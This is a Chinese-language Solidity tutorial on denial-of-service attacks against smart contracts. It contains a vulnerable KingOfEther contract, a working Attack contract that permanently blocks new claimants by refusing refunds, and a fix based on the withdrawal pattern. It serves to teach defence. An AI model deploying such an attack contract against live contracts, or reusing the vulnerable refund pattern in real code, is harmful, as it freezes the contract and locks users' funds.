欢迎订阅专栏:3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的拒绝服务(代码示例)
漏洞
攻击智能合约使其无法使用的方法有很多种。
我们在此介绍的一种攻击方式是通过使发送以太币的功能失败来实现拒绝服务。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/*
KingOfEther的目标是通过发送比前任国王更多的以太币来成为新国王。前任国王将获得其发送的以太币金额的退款。
*/
/*
1. 部署KingOfEther合约
2. Alice通过向claimThrone()发送1个以太坊成为国王。
3. Bob通过向claimThrone()发送2个以太坊成为国王,Alice收到1个以太坊的退款。
4. 使用KingOfEther的地址部署Attack合约。
5. 调用attack函数并发送3个以太坊。
6. 当前国王是Attack合约,且无人能成为新国王。
发生了什么?
Attack合约成为了国王。由于该合约没有fallback回退函数,拒绝接收KingOfEther在新国王设定前发送的以太坊,因此所有争夺王位的挑战都将失败。
*/
contract KingOfEther {
address public king;
uint256 public balance;
function claimThrone() external payable {
require(msg.value > balance, "要成为王者,必须付出更多");
(bool sent,) = king.call{value: balance}("");
require(sent, "以太币发送失败");
balance = msg.value;
king = msg.sender;
}
}
contract Attack {
KingOfEther kingOfEther;
constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}
// 你也可以通过使用assert消耗所有gas来执行DOS攻击。
// 即使调用合约未检查调用是否成功,这种攻击仍然有效。
//
// function () external payable {
// assert(false);
// }
function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}
预防性技术
防止这种情况发生的一种方法是允许用户提取他们的以太币,而不是直接发送。
这里有一个例子。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract KingOfEther {
address public king;
uint256 public balance;
mapping(address => uint256) public balances;
function claimThrone() external payable {
require(msg.value > balance, "要成为王者,需付出更多");
balances[king] += balance;
balance = msg.value;
king = msg.sender;
}
function withdraw() public {
require(msg.sender != king, "现任国王不能退位");
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
Remix Lite 尝试一下